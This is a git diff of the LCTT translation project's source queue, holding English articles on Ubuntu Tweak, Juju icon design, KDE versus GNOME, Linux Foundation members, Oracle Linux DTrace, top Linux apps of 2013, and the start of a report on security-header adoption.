Of course, I had played with Fedora, Arch, OpenSUSE, especially with Gentoo, I had been using it for one year long. It’s my second favourite Linux distribution, because it has one of the most advanced package management systems.
|
||||
|
||||
But now I only use Ubuntu for desktop and server, I also use Mac OS X. I got many design inspiration from it :)
|
||||
|
||||
**Can Ubuntu Tweak, be tweaked or forked or changed a little bit, in order to become useful in other linux distributions like Fedora, or OpenSuse, or Debian? Is the idea of a “Linux Tweak” application that people would choose distro and desktop environment plausible or not?**
|
||||
|
||||
Yes, Ubuntu Tweak can be easily adapted to be used under other distributions. Ubuntu Tweak is modular and very easy to hack.
|
||||
|
||||
In 2008, I released an “Ubuntu Tweak for Fedora”, but finally I gave up the maintenance of this version cause I should keep focus on Ubuntu, and I also don’t have that much energy.
|
||||
|
||||
**So what is the future of Ubuntu Tweak? Maybe Canonical will embrace it making it a default part of their distro, or they could use it to base their own tweaking tool. What do you think and what will be your next steps?**
|
||||
|
||||
Of course the future of Ubuntu Tweak will be bright. Hah.
|
||||
|
||||
I have already started the process of putting Ubuntu Tweak to the Software Center, it would be easier if users can install Ubuntu Tweak from the Software Center.
|
||||
|
||||
Now I’m focusing on developing the 0.7 version, It will be a better polished and well integrated version for Unity desktop than ever before, and it will also introduce some useful new features. I’d like to adapt Ubuntu Tweak to work better under Unity desktop as much as possible.
|
||||
|
||||
I plan to release the new version along with Ubuntu 12.04, hope everyone will like it :)
|
||||
|
||||
And one more thing to tell, I’ve already joined Canonical, in Beijing, and response for OEM things. Although Ubuntu Tweak is still a personal project and I’m not involved in the development of Ubuntu, I will try to move to the development team when possible :)
|
||||
|
||||
**That was great! Thanks Tualatrix.**
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
[1]:http://ubuntu-tweak.com/
|
||||
69
sources/Juju ice-cream icon design.md
Normal file
69
sources/Juju ice-cream icon design.md
Normal file
@ -0,0 +1,69 @@
|
||||
Juju ice-cream icon design
|
||||
================================================================================
|
||||
Who doesn’t like ice-cream? Here in the design team we sure do! In the last few weeks we’ve been preparing a special Juju demo for the OpenStack Summit in Hong Kong and we’ve created some very ‘tasty’ icons for it. We thought it would be nice to show you how those icons were created, so here’s a little insight on the design process.
|
||||
|
||||
### The brief ###
|
||||
|
||||
We wanted to replace the normal Juju icons for something a little bit more special in order to explain to people that visited the Ubuntu stand what kind of things Juju can do. We decided to use the idea of an ice-cream with toppings and sauce which you can build in the same way that you can build services in Juju.
|
||||
|
||||
The best part of this demo is that people would actually get the ice-cream they had ‘built’ in Juju in real life!
|
||||
|
||||
|
||||
|
||||
*The Juju interface, with its default icons*
|
||||
|
||||
### Finding good concepts ###
|
||||
|
||||
The first thing I needed to do was to find good concepts to present ice-creams and toppings in an icon format. Toppings were going to be especially tricky, as they can be very small and therefore hard to make out at small sizes.
|
||||
|
||||
I initially sketched and designed some ideas that were using a kind of flat look. This worked well for the ice-cream, but not so much for the toppings — I soon noticed they had to be semi-realistic to be recognisable.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
*Initial sketches and designs following a flat and more simplified look*
|
||||
|
||||
At a second stage, I added perspective to the icons; it was important that the icons kept the same perspective for consistency.
|
||||
|
||||
|
||||
|
||||
*Another set of sketches with added perspective*
|
||||
|
||||
The shape of the sauce bottles was also something that needed a bit of trial and error. The initial design looked too much like a ketchup bottle, so we’ve decided to try a different approach.
|
||||
|
||||
|
||||
|
||||
*Before and after shape of the sauce*
|
||||
|
||||
For the backgrounds, I chose to use vibrant colours for the ice-cream icons, to contrast with the ice-creams’ monochrome palette, but paler colours for the toppings, as these are already quite colourful.
|
||||
|
||||
The amount of detail added to the icons is just enough for what we needed to show and for them to be recognised. I’ve also added larger pieces to the side of the toppings, to make them easier to be identified.
|
||||
|
||||
|
||||
|
||||
*The Oreo topping icon, with a side of Oreos*
|
||||
|
||||
### Working out the detail ###
|
||||
|
||||
The Oreo pieces were created from a single biscuit, which I cut into 9 different parts and then distributed in different layers — I guess in a similar way to what happens in real life.
|
||||
|
||||
|
||||
|
||||
*The 9 pieces used to create the icon*
|
||||
|
||||
The clone tool in Inkscape came in handy: repeating the same small set of different pieces made the final SVG file much lighter, and also Inkscape faster.
|
||||
|
||||
The whole process took 4 days from brief to final icons, which is quite a tight deadline, but it was a really fun project to work on.
|
||||
|
||||
|
||||
|
||||
*The final icon set*
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://design.canonical.com/2013/11/juju-ice-cream-icon-design/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,113 +0,0 @@
|
||||
KDE vs GNOME: Settings, Apps, Widgets
|
||||
=====================================
|
||||
|
||||
When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses.
|
||||
|
||||
###Initial impressions
|
||||
|
||||
Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse.
|
||||
|
||||
Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here.
|
||||
|
||||
Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way.
|
||||
|
||||
###Widgets and extensions
|
||||
|
||||
The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality.
|
||||
|
||||
KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows.
|
||||
|
||||
By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task.
|
||||
|
||||
###Settings for your desktop
|
||||
|
||||
While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space.
|
||||
|
||||
With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as [OpenSUSE][1], go ever further by tightly integrating their own tools ([YaST][2]) into the KDE settings experience.
|
||||
|
||||
With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application.
|
||||
|
||||
But KDE tends to offer greater granular control with their applications. One of my favorite examples is [Kontact][3] vs [Evolution][4]. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of [AmaroK][5] vs [Rhythmbox][6], among other desktop-specific titles.
|
||||
|
||||
###File management
|
||||
|
||||
When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. [Nautilus][7] is the default file manager for Gnome where KDE, offers up [Dolphin][8] as its main offering.
|
||||
|
||||
When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter. In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses.
|
||||
|
||||
###Initial impressions
|
||||
|
||||
Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse.
|
||||
|
||||
Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here.
|
||||
|
||||
Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way.
|
||||
|
||||
Widgets and extensions
|
||||
|
||||
The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality.
|
||||
|
||||
KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows.
|
||||
|
||||
By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task.
|
||||
|
||||
Settings for your desktop
|
||||
|
||||
While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space.
|
||||
|
||||
With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as OpenSUSE, go ever further by tightly integrating their own tools (YaST) into the KDE settings experience.
|
||||
|
||||
With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application.
|
||||
|
||||
But KDE tends to offer greater granular control with their applications. One of my favorite examples is Kontact vs Evolution. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of AmaroK vs Rhythmbox, among other desktop-specific titles.
|
||||
|
||||
File management
|
||||
|
||||
When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. Nautilus is the default file manager for Gnome where KDE, offers up Dolphin as its main offering.
|
||||
|
||||
Out of the box, I've found Nautilus offers Gnome users a polished, easy to use file management tool that won't overwhelm new Linux users. Flashing over to KDE, however, Dolphin is a highly configurable and not newbie friendly file management solution for those who want tons of control.
|
||||
|
||||
Simply looking at the sidebar for each file manager, you'll notice that Nautilus offers up the most straight forward approach to navigation. KDE's Dolphin, however, goes further with features like dates for files last used, and other related options.
|
||||
|
||||
If you're an advanced Linux user, you'll likely find yourself gravitating to Dolphin as it offers the most options and control. For those of us who simply want to navigate files without tons of "stuff", Nautilus wins in terms of simplicity.
|
||||
|
||||
###Desktop applications
|
||||
|
||||
One area that causes some disagreement among Linux enthusiasts is the claim that one desktop offers better default applications than the other. That said, this is certainly the case with Gnome vs KDE.
|
||||
|
||||
My findings in this area are that in many areas, Gnome wins without even trying that hard. For example: GIMP, Evince, and Pidgin are all applications that are simply less of a headache to rely on than their KDE counterparts. Kmail is another app that, in my opinion, gives new KDE users a bad taste in their mouths. Apps like this are overly complex and in general, abysmal to use.
|
||||
|
||||
On the flip side, there are some worthwhile exceptions in favor of KDE. [Calligra][9] vs [AbiWord][10] is an easy win for KDE, since [LibreOffice][11] isn't "truly" a Gnome specific option. Just because it's often the default suite for many Linux distributions doesn't make it the desktop environment default.
|
||||
|
||||
In the end, one of the wonders of Linux is that you can install GTK or Qt libraries and enjoy the benefits of the apps that best meet with your needs. For myself, I've found the Gnome application defaults to be the clear winner in most instances.
|
||||
|
||||
Final thoughts
|
||||
|
||||
If I ever found myself trapped on an island with only one desktop environment made available to me, it'd have to be Gnome. Even though I enjoy some aspects of KDE more than Gnome, overall I find Gnome is less work to keep up. Too often I’ve found KDE experiencing a messed up configuration or, worse: weird alerts claiming my sound card has disappeared. Under Gnome, I experience none of these problems.
|
||||
|
||||
Because I value my time and my sanity, I'll continue to recommend Gnome over KDE; while suggesting some KDE apps when appropriate. To anyone who claims that KDE is easier to use – I'd like to point out that for me, simply learning Gnome's approach to doing things has offered me greater stability in the long run.
|
||||
|
||||
Photo courtesy of [Shutterstock][12].
|
||||
|
||||
---
|
||||
|
||||
via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
|
||||
[1]:http://www.opensuse.org/en/
|
||||
[2]:http://en.opensuse.org/YaST_Software_Management
|
||||
[3]:http://userbase.kde.org/Kontact
|
||||
[4]:https://projects.gnome.org/evolution/
|
||||
[5]:http://amarok.kde.org/
|
||||
[6]:https://projects.gnome.org/rhythmbox/
|
||||
[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29
|
||||
[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29
|
||||
[9]:http://www.calligra-suite.org/
|
||||
[10]:http://www.abisource.com/
|
||||
[11]:http://www.libreoffice.org/
|
||||
[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html
|
||||
|
||||
@ -0,0 +1,33 @@
|
||||
Linux Foundation Gains New Cloud, Open Hardware and Gaming Members
|
||||
================================================================================
|
||||
> Cloudius Systems, HSA Foundation and Valve have become the newest members of the Linux Foundation, bringing strengths in the open source cloud, open-standard hardware and gaming.
|
||||
|
||||
Cloud computing, open-standard hardware and gaming: These are all areas in which the [Linux Foundation][1] has recently forged important new connections, announcing the addition of [Cloudius Systems][2], [HSA Foundation][3] and [Valve Software][4] as the newest members of the organization. Together, these collaborations highlight the continuing dynamism of the open source world, and provide hints into where it is headed next.
|
||||
|
||||
The Linux Foundation, a non-profit consortium that promotes the interests of [Linux][6] and related open source projects, detailed the signing-on of these three companies in an [announcement][5] that highlighted the particular strengths they stand to contribute to the open source ecosystem.
|
||||
|
||||
First, Cloudius Systems will help to advance the open source cloud. Its major product is [OSv][7], a sleek operating system that the company recently introduced and designed specifically for the cloud. Interestingly, OSv—which runs as a guest virtual machine on top of the open source [KVM][8] and [Xen][9] hypervisors—could be considered a competitor with Linux, which forms the basis for many other cloud-oriented virtualization platforms. But Cloudious's entry into the Linux Foundation is a sign that the future of the open cloud is about more than Linux itself, and that open source innovators recognize that the Linux kernel, which was built for desktops and servers, can only go so far in the cloud.
|
||||
|
||||
Meanwhile, the non-profit HSA Foundation aims to advance open hardware standards—a key interest for open source developers whether they focus on desktops, servers, the cloud or mobile. Lack of hardware compatibility due to proprietary, undocumented standards has been a thorn in Linux's side from day one, and investing in collaboration to help overcome that barrier is in the interest of virtually everyone within the open source ecosystem.
|
||||
|
||||
Last but not least, Valve, which develops the popular [Steam][10] platform for cloud-based games and other content, injects the Linux world with new energy in the gaming realm, an area that has traditionally been very unwelcoming to Linux users. Valve could be on the forefront of a major shift in open source entertainment that will use the power of the cloud to bring Linux into the mainstream fold—while also promoting Linux as the basis for specialized gaming hardware such as Valve's [Steam Machines][11], home gaming devices that run on Linux.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://thevarguy.com/open-source-application-software-companies/linux-foundation-gains-new-cloud-open-hardware-and-gaming
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linuxfoundation.org/
|
||||
[2]:http://www.cloudius-systems.com/
|
||||
[3]:http://hsafoundation.com/
|
||||
[4]:http://www.valvesoftware.com/
|
||||
[5]:http://www.linuxfoundation.org/news-media/announcements/2013/12/cloudius-systems-hsa-foundation-and-valve-join-linux-foundation
|
||||
[6]:http://kernel.org/
|
||||
[7]:https://github.com/cloudius-systems/osv
|
||||
[8]:http://www.linux-kvm.org/page/Main_Page
|
||||
[9]:http://www.xenproject.org/
|
||||
[10]:http://store.steampowered.com/
|
||||
[11]:http://store.steampowered.com/livingroom/SteamMachines/
|
||||
@ -0,0 +1,34 @@
|
||||
Oracle adds DTrace debugger to its Linux distribution
|
||||
================================================================================
|
||||
> Oracle Linux administrators can finally take advantage of the powerful DTrace debugging tool that was first designed for Solaris
|
||||
|
||||
IDG News Service - Oracle has fully integrated the long-awaited Linux DTrace debugging tool into the latest release of its Linux distribution, potentially allowing administrators and developers to pinpoint the cause of thorny performance issues with more accuracy.
|
||||
|
||||
[Oracle Linux][1] 6.5 also includes an updated kernel and support for Linux Containers, allowing a single kernel to power multiple Linux virtual machines on a server.
|
||||
|
||||
Much like the CentOS distribution, Oracle Linux is largely a copy of Red Hat Enterprise Linux (RHEL), version 6.5 of which Red Hat released last month. Oracle does include in the package its own kernel -- the core of an OS -- customized for security enhancements, as well as some additional administrative tools. Both the Oracle and Red Hat editions are targeted to enterprise use. (The volunteer-driven CentOS 6.5 distribution [was also recently released][2].)
|
||||
|
||||
For the first time, Oracle's customized kernel, Unbreakable Enterprise Kernel Release 3, is installed as the default kernel for the distribution -- the stock RHEL kernel is also included in the package as an alternative. As a result, Oracle Linux now supports the DTrace dynamic tracing framework out of the box, though it still needs to be downloaded separately. Oracle Linux 6.4 [offered][3] users a way to download and install DTrace, though it required changes to the kernel.
|
||||
|
||||
Originally developed by Sun Microsystems, which was acquired by Oracle in 2010, DTrace can help developers debug, or trace, problems that occur on a system. Known for its thoroughness in documenting system behavior, the software was originally designed for Sun's Solaris Unix distribution, and administrators have long agitated for a version [to run][4] on Linux as well.
|
||||
|
||||
DTrace allows administrators and developers "to get insight into the operating system and understand what is consuming resources," said Markus Flierl, Oracle's Solaris vice president of engineering. The software can not only investigate problems with the OS, but also identify potential problems with applications and the networking stack as well.
|
||||
|
||||
"If your customer is complaining that something is running slow, you can go in and see if there is a problem that is happening in your operating system, or if it is in your I/O stack. You will get a full top-to-bottom view, a single pane of glass to see what is happening," Flierl said. Having DTrace on board a server will also allow other Oracle debugging tools, such as those found in the Oracle 12c database, to use the DTrace instrumentations as well, he said.
|
||||
|
||||
With the introduction of Linux Containers in Linux Oracle 6.5, users now have another option for virtualizing workloads. In this approach, the server's kernel can drive any number of virtual Linux machines, with each one completely isolated from the others. The Linux Control Groups management software assures that each container is allotted a select amount of memory, CPU and disk I/O resources. Oracle also provides templates for quickly setting up containers.
|
||||
|
||||
Other updates in the Oracle Linux package support the latest technologies in InfiniBand networking, file systems, processors and solid state disks.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.computerworld.com/s/article/9244564/Oracle_adds_DTrace_debugger_to_its_Linux_distribution?taxonomyId=122
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.oracle.com/us/technologies/linux/overview/index.html
|
||||
[2]:http://lists.centos.org/pipermail/centos-announce/2013-December/020032.html
|
||||
[3]:http://www.infoworld.com/d/application-development/oracle-ports-dtrace-oracle-linux-213759
|
||||
[4]:http://stackoverflow.com/questions/2059311/whats-an-alternative-for-dtrace-on-linux
|
||||
154
sources/Our Top 10 Linux Applications of 2013.md
Normal file
154
sources/Our Top 10 Linux Applications of 2013.md
Normal file
@ -0,0 +1,154 @@
|
||||
翻译中 Luox
|
||||
|
||||
|
||||
《佳人》
|
||||
作者：杜甫
|
||||
绝代有佳人，幽居在空谷。
|
||||
自云良家女，零落依草木。
|
||||
关中昔丧乱，兄弟遭杀戮。
|
||||
官高何足论，不得收骨肉。
|
||||
世情恶衰歇，万事随转烛。
|
||||
夫婿轻薄儿，新人美如玉。
|
||||
合昏尚知时，鸳鸯不独宿。
|
||||
但见新人笑，那闻旧人哭。
|
||||
在山泉水清，出山泉水浊。
|
||||
侍婢卖珠回，牵萝补茅屋。
|
||||
摘花不插发，采柏动盈掬。
|
||||
天寒翠袖薄，日暮倚修竹。
|
||||
|
||||
Our Top 10 Linux Applications of 2013
|
||||
================================================================================
|
||||
|
||||
|
||||
*2013 – What A Year, Right?*
|
||||
|
||||
**This time last year we knew nothing of Ubuntu Touch; Canonical attempting to raise $32 million for a cutting-edge smartphone would’ve sounded insane; Mir was a space station while Wayland was the future; and as far as Saucy Salamanders and Trusty Tahrs are concerned, they were nothing but adjunct words on the pages of untroubled thesaurus.**
|
||||
|
||||
It’s been a busy year. Canonical continue to stride forwards towards a converged future for the OS, while an estimated 25 million people continue to use the regular desktop version for their day-to-day computing needs.
|
||||
|
||||
But key to both experiences are apps. Last year we rounded up 10 of our favourite apps that debuted on the desktop. This year we’re doing things a little differently by also including updates released during the course of the year.
|
||||
|
||||
We’ve opted to exclude ‘obvious’ choices like Firefox, Chrome, LibreOffice and Steam (because we all know they’re awesome anyway) to highlight lesser-known apps and utilities that, this year, made the desktop experience all the more awesome.
|
||||
|
||||
What did we pick? Read on.
|
||||
|
||||
### Geary ###
|
||||
|
||||
|
||||
|
||||
2013 saw Yorba, the non-profit behind Geary, try, [and fail][1], to secure a future for the app through crowd funding. That could’ve been where things ended for the app; a dour footnote in the history of apps failing to reach their true potential. Thankfully it wasn’t.
|
||||
|
||||
The release of Geary 0.4.x a few months after that disappointing set-up later proved a testament to the dedication and patience of its development team. Building on a strong release from earlier in the year, Geary 0.4 arrived in October with improved stability and performance and a veritable stuffed envelope of new improvements and features in tow.
|
||||
|
||||
Those who insist that the days of desktop mail clients are over are fast being made to eat their words by Yorba. Right now, Geary is one of the the best mail apps on any platform, Linux or otherwise.
|
||||
|
||||
- [Install Geary from Ubuntu Software Center][2]
|
||||
|
||||
### Birdie Twitter App ###
|
||||
|
||||
|
||||
|
||||
Twitter apps for Linux are a bit of an anomaly. While there are a good number of them, few seem to work as efficiently as proprietary apps on other operating systems. That all changed with the hatching of **Birdie** back in March of this year. As the year passed we got to see it grow from an unstable, crash-prone chick to a mature and confident app sure of its direction.
|
||||
|
||||
While it remains far from being the full plumed wonder I’d like, it makes this list because it does what it aims to, looks good doing it, and holds a lot of promise for the future.
|
||||
|
||||
- [Read more about Birdie’s Latest Release][3]
|
||||
|
||||
### Springseed ###
|
||||
|
||||
|
||||
|
||||
For obsessive note-takers 2013 wasn’t short of options – from GNOME’s obtusely named *Bijiben*, to the powerful *Nitro*. But, for me, it was the nimble *Springseed* that grabbed my attention.
|
||||
|
||||
Having been built from the ground-up to be resource-friendly, the app feels responsive and light. The feature set includes all of the vital ones needed to get organised – notebook creation, text formatting, markdown support and drobox sync, etc – all presented within an attractive interface that’s free of needless cruft.
|
||||
|
||||
Springseed is a free and open-source and available to download directly from the project website.
|
||||
|
||||
- [Download Springseed for Ubuntu][4]
|
||||
|
||||
### Unity Tweak Tool ###
|
||||
|
||||
|
||||
|
||||
First released in the beginning of the year, *Unity Tweak Tool* has grown to become the ’*must have*’ app name falling off the lips of anyone offering post-Ubuntu install advice. With a smorgasbord of settings and customisation tools on-hand, the utility makes tailoring the Unity experience to suit your own tastes a [doddle][5].
|
||||
|
||||
Routinely updated to take advantage of the latest options in each new release of Ubuntu, and offering the safety net of an ‘undo’ button should anything go wayward, it’s easy to see why the app has become a favourite tool for so many.
|
||||
|
||||
- [Install Unity Tweak Tool on Ubuntu][6]
|
||||
|
||||
### Intel Graphics Driver Installer ###
|
||||
|
||||
|
||||
|
||||
Intel (specifically Intel’s *Open Source Technology Centre*) made installing the latest and greatest Intel graphics drivers easier on Linux this year with the release of the Intel Driver Manager. The utility automate the entire detection, download and install process for the user, requiring only a couple of clicks and the bit of patience.
|
||||
|
||||
Initial releases of the manager were not without issue. Thankfully, subsequent releases have seen bugs fixed and quirks ironed out. If you tried it earlier in the year without success it might be well worth trying it again.
|
||||
|
||||
- [Intel Driver Manager for Linux][7]
|
||||
|
||||
### Ubuntu SDK ###
|
||||
|
||||
|
||||
|
||||
A left-field choice, but an important one. The Ubuntu SDK arrived this year primed with everything developers need to create apps for Ubuntu Touch, both on phone and tablet.
|
||||
|
||||
It’s hard to wax too lyrical about a tool that few desktop users will appreciate, but July’s update in particular added some great functionality – including a unified actions API, Ubuntu One database syncing and support for creating converged layouts.
|
||||
|
||||
- [Learn more about the Ubuntu SDK][8]
|
||||
|
||||
### VoD Enablement App ###
|
||||
|
||||
|
||||
|
||||
Arguably this entry is not so much an app as a hack dressed up to look like one. Regardless, thanks to some clever packaging foo of Erich Hoover, Netflix, LoveFilm and a host of other Silverlight-based video streaming sites are now *easily* viewable on Ubuntu for the first time – albeit unofficially, of course!
|
||||
|
||||
For the full skinny on what’s supported, what it install, and how to get it you’ll want to check out our article from January.
|
||||
|
||||
- [How to Watch Netflix & Others on Ubuntu][9]
|
||||
|
||||
### VLC ###
|
||||
|
||||
Everyone’s (cue someone saying ‘not mine!’ – ed) favourite media player received a number of updates over the course of 2013, with its most recent major update landing back in September.
|
||||
|
||||
Amongst the slew of features and refinements shipped with its Linux build was support for 4K video streams; VDPAU hardware decoding; tweaks to .MKV file playback and improved DBus and MPRIS interfaces.
|
||||
|
||||
### Lightworks for Linux ###
|
||||
|
||||
|
||||
|
||||
Lightworks has an odd, but rather brilliant, claim to fame: it’s too featured, too powerful, and too professional-orientated for most desktop users to get to grips with. Addmittedly that’s hardly a shock given the pedigree of the app (used to edit many an Oscar-winning Hollywood film, dontcha’ know).
|
||||
|
||||
Editshare, the company behind the app, took their time publishing a Linux Beta (having delayed its arrival on numerous occasions). But, since its release back in April, they’ve been fastidious in ensuring that it maintains feature parity with the Windows builds – a feat only achieved in the most recent set of updates.
|
||||
|
||||
Now, with new features and tweaks arriving by the week, there’s never been a better time for those who fancy themselves as the next great movie maker to try it out.
|
||||
|
||||
- [Latest Lightworks for Linux Update][10]
|
||||
|
||||
### GNOME Music Preview ###
|
||||
|
||||
|
||||
|
||||
Alright, alright: it’s not finished. In fact, if you’re not running a pair of highly unstable GNOME PPAs you can’t even use it in Ubuntu.
|
||||
|
||||
But that’s beside the point; GNOME Music is one of my stand out apps of this year. For some it’s simple to the point of uselessness, for others the beauty lies in its simplicity. Sure, it doesn’t stack up well against apps tasked with doing ‘all the things!’, but that rather misses the point.
|
||||
|
||||
The attention to detail in design and user experience is second to none.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/12/top-10-linux-apps-of-2013
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.omgubuntu.co.uk/2013/04/geary-fundraiser-fails-at-half-way-mark
|
||||
[2]:apt:geary
|
||||
[3]:http://www.omgubuntu.co.uk/2013/07/birdie-twitter-app-updates-with-conversations
|
||||
[4]:http://getspringseed.com/
|
||||
[5]:http://www.thefreedictionary.com/doddle
|
||||
[6]:apt://unity-tweak-tool
|
||||
[7]:https://01.org/linuxgraphics/downloads/2013/intelr-graphics-installer-1.0.2-linux
|
||||
[8]:http://developer.ubuntu.com/apps/create/get-the-sdk/
|
||||
[9]:http://www.omgubuntu.co.uk/2013/01/how-to-watch-lovefilm-redbox-instant-or-netflix-on-ubuntu
|
||||
[10]:http://www.omgubuntu.co.uk/2013/11/lightworks-for-linux-beta-updated
|
||||
@ -1,88 +0,0 @@
|
||||
Security Headers on the Top 1,000,000 Websites: November 2013 Report
|
||||
================================================================================
|
||||
It has been almost exactly a year since we conducted the first top 1 million security headers report so it is a great time to re-run the analysis and see how well security header adoption is growing. As before, the latest Chrome and Firefox User-Agent strings were used to make requests to the top 1 million sites over both HTTP and HTTPS. Out of the 2,589,918 responses we had over 100,000 distinct security headers and values to analyze.
|
||||
|
||||
Comparing with previous scans, we had 514,288 URLs that matched the first run we did in November 2012 and 1,207,169 URLs that matched from March 2013. This time around we added yet another security header “X-XSS-Protection” due to a request from a commenter on this blog. Unfortunately, we did not store this header in any of the prior scans so we are unable to compare its adoption rate.
|
||||
|
||||
### Changes, Additions and Removals Yearly Review ###
|
||||
|
||||
A total of 7,258 new security headers were added over the course of a year to the 514,288 URLs that existed in both data sets. As before, we see the largest increase in additions to X-Frame-Options and CORS headers. In a not so distant fourth we see Strict-Transport-Security steadily climbing with 538 new sites using the header. Even though X-Content-Security-Policy and X-WebKit-CSP are deprecated, we still see a small increase in their additions. Once again the highest used headers also end up having the highest number of removals with X-Frame-Options being removed from 365 sites over the course of the year.
|
||||
|
||||
|
||||
|
||||
You may notice that the Content-Security-Policy header is missing from the yearly review, this is because it was not standardized when we first started this analysis. To see the adoption rate of the standardized CSP, we need to look at a comparison of the scan that was conducted in March 2013.
|
||||
|
||||
### Changes, Additions and Removals from March 2013 ###
|
||||
|
||||
We have a lot more URLs that matched since last March, yet surprisingly, the charts look extremely similar. 7,099 new security headers were added for the 1,207,169 URLs that matched between this run and March 2013. Of these sites, a disappointingly small number of 62 sites enabled Content-Security-Policy with 47 sites enabling the soon to be disabled X-Content-Security-Policy header.
|
||||
|
||||
|
||||
|
||||
